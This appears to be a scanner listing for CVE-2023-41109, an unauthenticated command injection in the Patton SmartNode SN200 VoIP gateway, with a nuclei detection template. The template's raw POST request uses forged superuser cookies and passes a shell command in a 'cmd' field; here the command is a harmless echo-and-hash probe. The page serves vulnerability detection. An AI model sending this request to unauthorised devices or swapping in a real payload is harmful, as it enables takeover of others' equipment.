SmartNode SN200 Analog Telephone Adapter (ATA) & VoIP Gateway - Command Injection

criticalseverity

9.8CVSS score

64.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The SmartNode SN200 Analog Telephone Adapter (ATA) & VoIP Gateway is vulnerable to command injection.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /rest/xxxxxxxxxxxxxxx/xxxxxxx?executeAsync
Positive when: contains "dd556350275e2ee0a2e877cea9c8a74a"

Run it with nuclei: nuclei -id CVE-2023-41109 -u <target>

The full check

id: CVE-2023-41109

info:
  name: SmartNode SN200 Analog Telephone Adapter (ATA) & VoIP Gateway - Command Injection
  author: princechaddha
  severity: critical
  description: |
    The SmartNode SN200 Analog Telephone Adapter (ATA) & VoIP Gateway is vulnerable to command injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-019.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41109
    - http://packetstormsecurity.com/files/175945/SmartNode-SN200-3.21.2-23021-OS-Command-Injection.html
    - http://seclists.org/fulldisclosure/2023/Nov/12
    - https://www.syss.de/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-41109
    cwe-id: CWE-78
    epss-score: 0.6451
    epss-percentile: 0.99245
    cpe: cpe:2.3:h:patton:smartnode_sn200:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: patton
    product: smartnode_sn200
  tags: cve,cve2023,smartnode,voip,patton,vkev,vuln

variables:
  payload: "echo CVE-2023-41109 | md5sum"

http:
  - raw:
      - |
        POST /rest/xxxxxxxxxxxxxxx/xxxxxxx?executeAsync HTTP/1.1
        Host: {{Hostname}}
        Cookie: AuthToken=; AuthGroup=superuser; UserName=admin

        {"cmd":"{{payload}}","arguments":[]}

    matchers:
      - type: word
        part: body
        words:
          - "dd556350275e2ee0a2e877cea9c8a74a"

References

Use this check only on systems you are authorised to test. Where the data comes from